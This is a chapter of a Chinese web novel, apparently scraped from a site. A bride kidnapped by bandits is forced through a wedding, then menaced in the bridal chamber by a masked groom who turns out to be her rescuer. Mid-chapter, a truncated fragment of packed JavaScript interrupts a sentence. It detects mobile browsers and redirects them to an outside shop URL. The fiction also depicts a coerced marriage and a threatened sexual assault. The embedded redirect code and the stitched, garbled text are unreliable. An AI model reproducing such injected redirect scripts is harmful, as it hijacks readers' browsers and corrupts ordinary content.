有些人将贞洁看的比性命重要,苏弱水则认为性命比贞洁更重要。 当然,这也跟她喜欢逃避的性格脱不了关系。像她这样的人,发现抗争不了,就很容易放弃。 最重要的是,正经劫匪片连警察都不会去激怒绑匪,甚至任予任求,更何况她这个人质。 喜娘大概走了一下流程,就替苏弱水盖上了盖头,然后搀扶着她往外走去。 苏弱水在屋子里僵持了一会,还是被喜娘推了出去。 隔着一扇门,屋内是不流动的沉默,给苏弱水一种虚假的安全感。 出了这扇门,是喧闹的土匪寨子,是她即将要面对的现实。 毕竟是一件喜事,虽然没有大办,但少不了要在寨子里热闹热闹。 这桩喜事是在晚上办的,四周灯火通明,红色的红纱笼灯连绵了半个寨子,一直到山顶上去,像一条红色的火龙。 苏弱水出门后,听到周围响起热闹的起哄声,酒香菜香混合在一起,隔着盖头给她带来窒息的压抑感。 地上铺了红色绸缎,苏弱水踩下去,能感觉到碎石子咯着她的脚底板。 她放慢了脚步,又被喜娘轻推了一把催促。 苏弱水脚下不稳,被碎石子扭了一下,往前栽倒。 下一刻,她被人一把抱住,握在手里的红绸也被人一起牵住。 那只搭在她腰间的手修长白皙,让苏弱水产生一种恍惚感,似乎在别人的身上也见过一只这样的手。 等她站稳,那人就松开了她,然后捏着红绸另外一端,牵着苏弱水往前去。 苏弱水乖顺的跟着,低头跨过面前的门槛,踩上里面铺着虎皮地毯的地面。 这几日苏弱水努力逛完了大半个落雁寨,如果她没猜错的话,这是落雁寨的大堂。 那些个当家就喜欢在这里议事。 “一拜天地。” 有人高唱。 苏弱水被人牵着转了一个方向。 她拧着眉头,咬住唇瓣,有些拜不下去。 那只手按住她的肩膀,带着炙热的温度,隔着喜服掐疼她的肩胛骨,将她压了下去。 “二拜高堂。” 坐在高堂之上的是落雁寨的大当家。 对于自家三弟今日大喜,这位大当家也是十分开心。 “好好好,三弟抱得美人归,大哥为你高兴。” 站在苏弱水身边的陈火离没有说话。 “夫妻对拜。” 苏弱水被迫又转了一个身,她觉得自己像个木偶一般被人摆弄。 原来她并没有自己想象中的那么镇定自若,接受现实。 “送入洞房!” 周围响起起哄声,有人推搡着过来,身边的人将她揽进怀里,隔绝那些满身匪气的人。 苏弱水却好像嗅到一股浅淡的血腥气。 大当家地拎起一桶酒,“今日是我三弟大婚,兄弟们不醉不归!” - 苏弱水被陈火离带了回去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16626402|187439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他拒绝了别人来闹洞房的要求,只让喜娘跟了进来。 苏弱水从一定程度上松了一口气。 她坐在喜床上,盖头垂下,看到自己摆在膝盖上的一双手,绞得血色都没了。 下一刻,她头上的盖头毫无预兆的被人挑起,露出那张上了妆面的脸。 女人浅淡的黛眉被添了几笔,胭脂上色,妆容丰浓。 苏弱水本身是一个淡色系美人,偶尔上妆也是上的淡妆,她很少画这么浓的妆面。 喜娘手艺不太好,这个妆面明显不适合她。 女人清冷的容貌在浓妆艳抹之下多了几分禁忌的媚色,显得有些艳俗。 面前的少年换了件新郎官的喜服,脸上的面具依旧没有撤下来,在烛火的印照下活像从地狱里爬出来的恶鬼。 大概是她坐着的缘故,苏弱水觉得他看起来比之前更高了,好像也更挺拔,更瘦了。 “新娘子和新郎官喝合卺酒了。” 喜娘将拴着红线的两只酒杯分别递给苏弱水和陈火离。 少年抬手接过,掩在面具下的双眸落到苏弱水身上。 女人穿着不太合身的喜服坐在那里,面容被烛光照亮,纤细眼睫轻轻颤动,带着明显的惶恐与不安。 她伸出手,指尖触到酒杯,不甚打翻。 喜娘赶紧要重新斟一杯,却不想陈火离直接朝那喜娘道:“出去。” 少年压低了声音,气势迫人。 喜娘赶忙出去了。 “吱呀”一声,房门关上,屋子里只剩下苏弱水和陈火离两人。 苏弱水渴得厉害,她喉咙干涩异常,屋子里满目的红色压下来,她觉得自己的精神被压抑到了极点。 陈火离扔掉手里的酒杯,撩袍,单膝压到床沿上。 苏弱水侧头躲避,少年的指腹擦过女人唇瓣,重重的,摩挲过去,将上面碍眼浓艳的口脂擦开,氤氲到面颊上,如同泼开了的胭脂盒子。 苏弱水面露惧色,撑着身子往后退,头上的凤冠掉下来,落在床铺上。 女人满头青丝垂落,更衬得一张脸小了一圈,只一双眼黑乌乌的渗着水光。 少年另外一条膝盖也跟着上来,背脊挺直,压着双膝往前抵。 苏弱水双手撑在身后,后背触到冰冷的墙壁,退无可退。 她咬紧嫣红的唇,眼睫颤栗。 一只手突然攥住她的手腕,少年倾身过来,脸上的鬼面具在她面前无限放大。 苏弱水睁着眼,尖叫压在喉咙里,因为太恐惧,所以连眼泪都被吓住了。 嘴上说性命比贞操重要,真到了这种时候,苏弱水还是无法坦然接受。 她只是在更坏的处境里选择了一个相对坏的处境,就骗自己说,幸好没有更坏。 可实际上,现在的情况对于苏弱水来说已经是很坏了。 怀里的女人身体僵硬,她被他扑在床上,睁大眼,眼泪蕴在眼眶里,欲落未落。 突然,伏在她肩膀处的少年发出一声低笑。 那道笑声听得苏弱水浑身一颤。 “阿姐,是我。” 少年熟悉的声音在耳畔处响起,苏弱水眨了眨眼,浮在眼眶中的泪水湿漉漉的往下淌。 陆泾川坐直身体,顺便将苏弱水扶起来。 他的手指擦过她的下颚,摸到一手湿滑温热的泪水。他替她将垂落在面颊侧边的湿发往耳后拨,指腹擦过她冰冷的耳垂。 火红色的喜帐半落,少年跪坐在床边,看一眼流着眼泪的苏弱水,抬手取下脸上面具,露出那张熟悉的昳丽面孔。 苏弱水呆呆看着眼前的陆泾川,像是还没有回过神来。 “阿姐,怎么哭……”少年微笑着看她。 “啪”。 少年的脸被一巴掌打得偏了过去,白皙的面颊上瞬间就浮现出几道红痕。 空气寂静几秒,苏弱水一下冷静下来,她打完就后悔了。 虽然刚才是陆泾川恶趣味的故意吓她,但他深入土匪寨子来找她,她不应该这样对他。 少年低垂着头,看不清表情。 苏弱水试探性地伸出手,冰冷的指尖抚上少年绯红的面颊。 她刚想道歉,陆泾川蹭着苏弱水的手掌,微微抬眸看她,像只乖顺讨好的狗,“对不起,阿姐,我错了。”